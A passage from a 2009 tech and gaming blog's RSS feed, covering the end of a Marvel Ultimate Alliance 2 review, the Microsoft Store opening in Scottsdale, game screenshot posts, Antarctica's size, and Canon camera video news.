<li>Camera: The camera in this game is ridiculously bad. I lost track of the number of times that I was in the middle of a heated battle and I was suddenly looking at the rafter in the ceiling and not seeing the action at all. You can move the camera a bit but it doesn&#8217;t really help that much as in a lot of the cases of this the camera is stuck somewhere. It also sucks when you try to do a targeted fusion on someone standing right next to you, probably hitting you  upside the head at the time, and your target circle goes flying off screen and you can&#8217;t bring it back or even find it even when trying to move the camera around. Also, the camera will zoom out to weather map distance so that you can&#8217;t tell what is going on because you can&#8217;t find your character in the virtual ant farm of explosions and laser beams. The number of times that the camera zoomed back in to let me know that I had been beating up a tree for the past 10 minutes is staggering.</li>
</ul>
<ul>
<li>Controls: The button placement, which you can&#8217;t change, is very strange. The jump button is mapped to the Y/triangle button and it feels really weird. This may just be my own personal thing but it seems like it should have been mapped to the A/X button. Regardless, the layout feels wonky and I found myself doing the wrong things a lot because of the confusing and uncustomizable configuration.</li>
</ul>
<h3>The Ugly</h3>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-black-widow-ugly.jpg"><img class="size-large wp-image-6633 aligncenter" title="marvel-ultimate-alliance-2-screenshot-black-widow-ugly" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-black-widow-ugly-500x280.jpg" alt="marvel-ultimate-alliance-2-screenshot-black-widow-ugly" width="500" height="280" /></a></p>
<ul>
<li>Black Widow: How can they take one of the sexiest women in Marvel comics and make her look like she&#8217;s been hit with a brick made of ugly? Nick Fury looks sexier and I think pictures of him naked are the punishment for stealing in some countries.</li>
</ul>
<h3>Conclusion [5.5 out of 10]</h3>
<p>I really wanted to like this game. I was really excited and I traded in Batman Arkham Asylum so I could get it. I&#8217;ve been kicking myself ever since.  The basic gameplay is intact but gets bogged down by bugs and systems that lack polish. Really that is the biggest issue with this game over all, it is not polished at all and feels like a fourth tier effort instead of the AAA title it is supposed to be. The old axiom &#8216;If it ain&#8217;t broke, don&#8217;t fix it&#8217; applies here and they really should have taken that to heart. As it stands, Marvel Ultimate Alliance 2 is deeply flawed and very broken. If you really, really want to play out of deep devotion to the series or because you think I am an idiot, then do yourself a favor and rent the thing. You should be able to beat it in a weekend and hopefully haven&#8217;t broken any controllers.</p>
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		<title>Video and Pictures from Microsoft Store Grand Opening in Scottsdale</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/U0mqzAj49Xw/</link>
		<comments>http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/#comments</comments>
		<pubDate>Thu, 22 Oct 2009 22:38:43 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Life & World]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Chris Hunkele]]></category>
		<category><![CDATA[competition]]></category>
		<category><![CDATA[Dave Bullock]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[opening]]></category>
		<category><![CDATA[Scottsdale]]></category>
		<category><![CDATA[store]]></category>
		<category><![CDATA[Surface]]></category>
		<category><![CDATA[Xune HD]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6564</guid>
		<description><![CDATA[
Many thanks to Chris Hunkele for the pics and video&#8217;s from the grand opening!
If you live in Phoenix or Scottsdale you like saw the news that Microsoft has opened it&#8217;s first (new) Microsoft Store in the Scottsdale Fashion Square mall and from the looks of things, it was a huge hit. With a few hundred [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2968.JPG"></a><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2979.JPG"><img class="size-large wp-image-6599 aligncenter" title="IMG_2979" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2979-500x333.jpg" alt="IMG_2979" width="500" height="333" /></a></p>
<p><em>Many thanks to <strong>Chris Hunkele</strong> for the pics and video&#8217;s from the grand opening!</em></p>
<p>If you live in Phoenix or Scottsdale you like <a href="http://www.azcentral.com/community/scottsdale/articles/2009/10/22/20091022microsoft.html">saw the news</a> that Microsoft has opened it&#8217;s first (new) <em><a href="http://microsoftstore.com/scottsdale">Microsoft Store</a></em> in the <a href="http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=Scottsdale+Fashion+Square,+Scottsdale,+AZ&amp;sll=32.221743,-110.926479&amp;sspn=0.946844,1.187897&amp;ie=UTF8&amp;hq=&amp;hnear=Scottsdale+Fashion+Square,+Scottsdale,+Arizona&amp;z=15">Scottsdale Fashion Square mall</a> and from the looks of things, it was a huge hit. With a few hundred people milling around the store itself Chris explained a bit more about the setting:</p>
<p style="padding-left: 30px;"><em>&#8230; what you didn&#8217;t see were the 5 mall cops and 7 Scottsdale police officers monitoring the outside of the store where fabric lane dividers stretched down the hall.</em></p>
<p>I&#8217;ve been inside Fashion Square enough times to know that &#8220;down the hall&#8221; like means &#8220;22 miles&#8221;&#8230; or there abouts&#8230; it&#8217;s a long mall.</p>
<p>The &#8220;store&#8221; idea was actually something Microsoft tried back in 1999 (before Apple) with the &#8220;<a href="http://www.microsoft.com/presspass/press/1999/Jun99/microsoftSFpr.mspx">microsoftSF</a>&#8221; store &#8211; back when Microsoft thought DirectX was awesome and APIs were a good way to market beige colored desktops. That idea didn&#8217;t pan out and Microsoft focused on tech for about 8 years before deciding it had to become &#8220;cool&#8221; again &#8212; like Apple.</p>
<p>Fast forward 10 ass-sore years later and now that Microsoft has finally gotten the company lined up behind the Xbox-leading vision of developing and delivering trendy &#8220;cool-tech&#8221;. The timing was perfect to try the store idea again and there is plenty for Microsoft to be eager to show off.</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2962.JPG"><img class="size-large wp-image-6584 aligncenter" title="IMG_2962" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2962-400x600.jpg" alt="IMG_2962" width="400" height="600" /></a></p>
<p>The overall vibe of the store is exactly what it should be: &#8220;Here&#8217;s cool tech we have had a hand in, go ahead and play with it&#8221;.</p>
<p>Whether it was laptops, netbooks, Xbox 360s hooked to a wall full of LCD TVs:</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2966.JPG"><img class="size-large wp-image-6588 aligncenter" title="IMG_2966" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2966-400x600.jpg" alt="IMG_2966" width="400" height="600" /></a></p>
<p>or the molestation-thrilled <a href="http://www.microsoft.com/surface/">Microsoft Surface</a> &#8211; which had a very solid showing &#8211; Microsoft had every sexy product out and ready for show.</p>
<p><a href="http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/"><em>Click here to view the embedded video.</em></a></p>
<p>Yes this idea <a href="http://www.apple.com/retail/">sounds familiar</a>, but it works when you have something that can attract a crowd of onlookers and gadget-lovers. Besides the customer support angle, Microsoft has never offered anything compelling enough to structure a store&#8217;s existence around; now they do.</p>
<p>For the longest time Microsoft was a software-only company and you can&#8217;t launch a store to show off&#8230; what&#8230; Exchange Server 2010 and Outlook? Even trying to establish deals with exclusive vendors 10 years ago to decide which Microsoft-blessed hardware would go into such a store would be just as boring, there was nothing flashy to show off&#8230; just a big green Start button and an Explorer view that now had a web browser in it. As for hardware, everything was black and boxy &#8212; what was compelling about that?</p>
<p>To get consumers to stop and peek in, you need glitz and &#8216;window appeal&#8217; &#8212; give customers something they want to walk in and put their <em>hands all over</em> (Surface).</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2959.JPG"><img class="size-large wp-image-6581 aligncenter" title="IMG_2959" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2959-400x600.jpg" alt="IMG_2959" width="400" height="600" /></a></p>
<p>The only reason Apple pulled off the &#8220;store&#8221; idea in recent history is because they were offering solutions of sexy hardware and sexy software. If Apple had only nailed the sexy hardware, but ran say Windows XP &#8212; I doubt the stores would have lasted. But they managed to provide a refined hardware and software experience that you couldn&#8217;t get anywhere else and then mixed in the support and developed a really compelling reason to peek your head in the Apple store&#8217;s door as you walked by: &#8220;Oh, I want to ask about a bluetooth headset for my iPod&#8221;.</p>
<p>Enter the Xbox 360, Windows 7, Microsoft Surface, Zune HD, Windows Mobile 6.5 and mobile/tablet touch-screen devices and a slew of other 1-off items and you suddenly have the makings of a store that&#8217;s fun to walk into and play around with until you&#8217;re ready to buy something. It&#8217;s basically Gymboree for adults &#8212; not saying that if Microsoft put a huge pool of balls in there I <em>wouldn&#8217;t</em> jump in&#8230; just that Surface and Xbox 360 with motion control are just as fun for adults.</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2955.JPG"><img class="size-large wp-image-6577 aligncenter" title="IMG_2955" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2955-400x600.jpg" alt="IMG_2955" width="400" height="600" /></a></p>
<p>If you go walking by the Microsoft store and on a 150&#8243; plasma (yes they have one) you see someone playing <a href="http://en.wikipedia.org/wiki/Halo:_Reach">Halo Reach</a> on one wall and then see someone throwing paint on a dog on another wall of LCDs with <a href="http://www.xbox.com/en-US/live/projectnatal/">Project Natal</a>, I&#8217;m going to bet you&#8217;ll walk in &#8212; and maybe ask a question or two &#8212; and maybe walk out with a new mouse, maybe a <a href="http://www.zunescene.com/zune-hd-review/">Zune HD (Zune 2)</a> and high hopes for an Xbox 360 for Christmas.</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2969.JPG"><img class="size-large wp-image-6591 aligncenter" title="IMG_2969" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2969-400x600.jpg" alt="IMG_2969" width="400" height="600" /></a></p>
<p><em>Brilliant</em></p>
<p>You throw some decent customer support on top of that, and next time your laptop tells you that it cannot install the driver for your digital camera, you throw that shit in your car and roll down to the Microsoft Store and ask them what&#8217;s going on &#8212; as opposed to calling India and talking to Rajesh* about reformatting your AOL internet.</p>
<p style="padding-left: 30px;"><span style="color: #333333;"><em>* No offense intended, Rajesh is a hell of a guy and great at backgammon.</em></span></p>
<p><strong>Update #1</strong>: Thanks to <strong><a href="http://www.davebullock.com/">Dave Bullock</a></strong> for the heads up that you can actually get your <a href="http://www.destructoid.com/microsoft-offering-on-site-xbox-360-repair-at-new-stores-152768.phtml">RROD&#8217;ed Xbox 360&#8217;s fixed at the new Microsoft Store</a>. Basic repairs can be done in-house, like faulty power connectors, but more common repairs (like heat-sync failing and typical RROD causes) the console will still need to be shipped out, however, Microsoft will ship you a replacement console <em>immediately</em> after the store has taken it into custody and you don&#8217;t need to wait those extra days for Microsoft to confirm receipt of it.</p>
<p><strong>Update #2</strong>: Chris has done a technical analysis the likes of CSI and we are pretty sure Bill Gates doesn&#8217;t work at the new store&#8230; or at least he <em>does</em> and he was having a bad hair day:</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/bill-gates-look-alike-at-microsoft-store-opening.jpg"><img class="size-large wp-image-6621 aligncenter" title="bill-gates-look-alike-at-microsoft-store-opening" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/bill-gates-look-alike-at-microsoft-store-opening-500x236.jpg" alt="bill-gates-look-alike-at-microsoft-store-opening" width="500" height="236" /></a></p>
<h3>Videos</h3>
<p>You can scroll through the playlist of videos from the Grand Opening below.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/p/ECB824322CF5CBD1&amp;hl=en&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/p/ECB824322CF5CBD1&amp;hl=en&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<h3>Pictures</h3>

<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2943/' title='IMG_2943'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2943-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2943" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2944/' title='IMG_2944'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2944-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2944" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2945/' title='IMG_2945'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2945-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2945" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2946/' title='IMG_2946'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2946-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2946" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2947/' title='IMG_2947'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2947-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2947" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2948/' title='IMG_2948'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2948-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2948" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2949/' title='IMG_2949'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2949-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2949" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2950/' title='IMG_2950'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2950-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2950" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2951/' title='IMG_2951'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2951-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2951" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2952/' title='IMG_2952'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2952-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2952" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2953/' title='IMG_2953'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2953-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2953" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2954/' title='IMG_2954'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2954-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2954" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2955/' title='IMG_2955'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2955-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2955" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2956/' title='IMG_2956'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2956-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2956" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2957/' title='IMG_2957'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2957-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2957" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2958/' title='IMG_2958'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2958-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2958" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2959/' title='IMG_2959'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2959-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2959" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2960/' title='IMG_2960'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2960-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2960" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2961/' title='IMG_2961'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2961-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2961" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2962/' title='IMG_2962'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2962-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2962" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2963/' title='IMG_2963'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2963-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2963" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2964/' title='IMG_2964'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2964-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2964" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2965/' title='IMG_2965'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2965-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2965" /></a>
<a href='http://www.breakitdownblog.com/video-and-pictures-from-microsoft-store-grand-opening-in-scottsdale/img_2966/' title='IMG_2966'><img width="150" height="150" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/IMG_2966-150x150.jpg" class="attachment-thumbnail" alt="" title="IMG_2966" /></a>
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		<title>God of War 3 Screenshots</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/h5UunbYErv8/</link>
		<comments>http://www.breakitdownblog.com/god-of-war-3-screenshots/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 23:46:47 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[God of War 3]]></category>
		<category><![CDATA[screenshots]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6557</guid>
		<description><![CDATA[
Thanks to Ted Regulski for the heads up on these. We actually had about 10 mins of alone-time with God of War 3 at PAX 2009 and can say this: It&#8217;s exactly what you want.
If you liked God of War 1 and God of War 2, the God of War series continues with the exact [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/god-of-war-3-screenshot-boss.jpg"><img class="size-large wp-image-6558 aligncenter" title="god-of-war-3-screenshot-boss" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/god-of-war-3-screenshot-boss-500x281.jpg" alt="god-of-war-3-screenshot-boss" width="500" height="281" /></a></p>
<p>Thanks to <strong>Ted Regulski</strong> for the heads up on these. We actually had about 10 mins of alone-time with God of War 3 at PAX 2009 and can say this: <em>It&#8217;s exactly what you want</em>.</p>
<p>If you liked God of War 1 and God of War 2, the God of War series continues with the exact same controls, exact same epic world-feel, exact same style of play and level transition &#8212; it feels like home; if your home were caked in gore and you were running around your living room with a sword tied to a flaming beast.</p>
<p>We love it.</p>
<p>Thanks <a href="http://www.neogaf.com/forum/showthread.php?t=371638">NeoGaf</a>!</p>

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		<title>Call of Duty: Modern Warfare 2 Screenshots</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/3EjBE5RpVWs/</link>
		<comments>http://www.breakitdownblog.com/call-of-duty-modern-warfare-2-screenshots/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 20:00:07 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[Call of Duty]]></category>
		<category><![CDATA[co-op]]></category>
		<category><![CDATA[gameplay]]></category>
		<category><![CDATA[Modern Warfare 2]]></category>
		<category><![CDATA[screenshots]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6538</guid>
		<description><![CDATA[
Well it&#8217;s coming and everyone is waiting for it, Call of Duty: Advanced Warfare 2, so we figured we&#8217;d put up as many screenshots as we could find that were tasty. Unfortunately it looks like still no main-story-line co-op, but they are offering co-op in the SpecOps mode which is taking down foes in special [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/call-of-duty-6-modern-warfare-2-screenshot-brazil-shanty-town.jpg"><img class="size-large wp-image-6540 aligncenter" title="call-of-duty-6-modern-warfare-2-screenshot-brazil-shanty-town" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/call-of-duty-6-modern-warfare-2-screenshot-brazil-shanty-town-500x281.jpg" alt="call-of-duty-6-modern-warfare-2-screenshot-brazil-shanty-town" width="500" height="281" /></a></p>
<p>Well it&#8217;s coming and everyone is waiting for it, <a href="http://modernwarfare2.infinityward.com">Call of Duty: Advanced Warfare 2</a>, so we figured we&#8217;d put up as many screenshots as we could find that were tasty. Unfortunately it looks like still no main-story-line co-op, but they are offering co-op in the SpecOps mode which is taking down foes in special levels for multiplayer.</p>
<p>If you haven&#8217;t seen the <em>Infamy</em> trailer yet, it gives an excellent overview of the look/feel and environments from the game &#8212; I&#8217;m impressed to say the least, just hope it lasts longer than Modern Warfare 1, which I just finished recently.</p>
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		<item>
		<title>Antarctica is HUGE – Bigger Than the US</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/v4NWFK78Rrw/</link>
		<comments>http://www.breakitdownblog.com/antarctica-is-huge-bigger-than-the-us/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 19:35:04 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Life & World]]></category>
		<category><![CDATA[Antarctica]]></category>
		<category><![CDATA[awesome]]></category>
		<category><![CDATA[huge]]></category>
		<category><![CDATA[land mass]]></category>
		<category><![CDATA[size]]></category>
		<category><![CDATA[US]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6534</guid>
		<description><![CDATA[
Saw this on TwitPic, it&#8217;s the United States superimposed on top of the land-mass that is Antarctica and holy-hell, I honestly didn&#8217;t realize it was so big.
]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/size-of-antarctica-us-superimposed.jpg"><img class="size-large wp-image-6535 aligncenter" title="size-of-antarctica-us-superimposed" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/size-of-antarctica-us-superimposed-500x281.jpg" alt="size-of-antarctica-us-superimposed" width="500" height="281" /></a></p>
<p>Saw this on <a href="http://twitpic.com/m75r1">TwitPic</a>, it&#8217;s the United States superimposed on top of the land-mass that is Antarctica and holy-hell, I honestly didn&#8217;t realize it was so big.</p>
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		<item>
		<title>Canon 5D Mark II Firmware Update Coming</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/HzvzPJq3WFE/</link>
		<comments>http://www.breakitdownblog.com/canon-5d-mark-ii-firmware-update-coming/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 15:29:25 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[1080p]]></category>
		<category><![CDATA[5D Mark II]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[Canon]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[upgrade]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6531</guid>
		<description><![CDATA[Thanks to Grant Gochnauer for the heads up on the news that Canon is working on a firmware upgrade for the 5D Mark II folks that will allow 1080p video recording at 24 and 25fps.
London, 20 October 2009 – Canon today announces that it is currently developing a firmware update to the EOS 5D Mark [...]]]></description>
			<content:encoded><![CDATA[<p>Thanks to <strong>Grant Gochnauer</strong> for the heads up on the news that <a href="http://www.dpreview.com/news/0910/09102003eos5dfirmware.asp">Canon is working on</a> a firmware upgrade for the 5D Mark II folks that will allow 1080p video recording at 24 and 25fps.</p>
<blockquote><p><strong>London, 20 October 2009</strong> – Canon today announces that it is currently developing a firmware update to the EOS 5D Mark II to enable the recording of high definition 1080p video at 24 and 25fps. The decision to develop new firmware to support these features has been taken following feedback received from cinematographers and photographers.</p>
<p>Introduced in September 2008, the multi award-winning EOS 5D Mark II was the first DSLR product to offer full frame 1080p HD video recording, opening up a multitude of new creative possibilities for photo journalists, news photographers and amateur filmmakers. Since then, Canon has continued to develop its groundbreaking EOS Movie functionality, firstly with the firmware update to the EOS 5D Mark II that enabled manual exposure control, and more recently by introducing a choice of video recording frame rates with the EOS 7D and EOS-1D Mark IV.</p>
<p>Canon currently expects the firmware update to be made available during the first half of 2010. An announcement regarding details of the update and its availability will be made closer to the release date.</p></blockquote>
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		<title>Canon 1D Mark IV 1080p Video – Vincent Laforet’s Nocturne</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/gyr3G9Cws0g/</link>
		<comments>http://www.breakitdownblog.com/canon-1d-mark-iv-1080p-video-vincent-laforets-nocturne/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 14:39:25 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[1080p]]></category>
		<category><![CDATA[1D]]></category>
		<category><![CDATA[Canon]]></category>
		<category><![CDATA[Mark IV]]></category>
		<category><![CDATA[Nocturne]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[Vincent Laforet]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6528</guid>
		<description><![CDATA[
SmugMug&#8217;s Don MacAskill blogged about Vincent Laforet&#8217;s new &#8216;Nocturne&#8217; short that was shot in 1080p at ISO 6400 on the new Canon 1D Mark IV &#8212; for those of you with your 5D Mark II&#8217;s, apparently the 1D MIV has better low-light performance, but the body runs a solid $5k &#8212; so probably just buy [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/vincent-laforet-nocturne-1080p-canon-video.png"><img class="size-large wp-image-6529 aligncenter" title="vincent-laforet-nocturne-1080p-canon-video" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/vincent-laforet-nocturne-1080p-canon-video-500x281.png" alt="vincent-laforet-nocturne-1080p-canon-video" width="500" height="281" /></a></p>
<p>SmugMug&#8217;s Don MacAskill <a href="http://blogs.smugmug.com/don/2009/10/19/unbelievable-1080p-video-from-canons-new-1d-mark-iv/">blogged about</a> <a href="http://vincentlaforet.smugmug.com/Laforet-Videos/Nocturne-Canon-1DMKIV-Video/10024122_sqhwE#686345820_EeDCa">Vincent Laforet&#8217;s new &#8216;Nocturne&#8217; short</a> that was shot in <a href="http://vincentlaforet.smugmug.com/Laforet-Videos/Nocturne-Canon-1DMKIV-Video/10024122_sqhwE#686345820_EeDCa-X2-LB">1080p at ISO 6400</a> on the new Canon 1D Mark IV &#8212; for those of you with your 5D Mark II&#8217;s, apparently the 1D MIV has better low-light performance, but the body runs a solid $5k &#8212; so probably just buy 2 instead of 3.</p>
<p>Overall quality looked excellent, wouldn&#8217;t know the difference between this and a &#8220;real&#8221; camera used in Hollywood, but I&#8217;m not professional photographer. Interesting for the folks out there that want to shoot this kind of work and have $5k to drop.</p>
<p>Vincent was also known for <a href="http://blogs.smugmug.com/don/2008/11/30/first-1080p-video-from-canons-new-5d-mkii-amazing/">breaking-in everyone&#8217;s 1080p expectations</a> with the Canon 5D Mark II when it was just about to hit the market as well.</p>
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		<title>Borderlands: For Mainstream Gamers</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/s_9-CVnJdYE/</link>
		<comments>http://www.breakitdownblog.com/borderlands-for-mainstream-gamers/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 14:24:09 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[advertisement]]></category>
		<category><![CDATA[Borderlands]]></category>
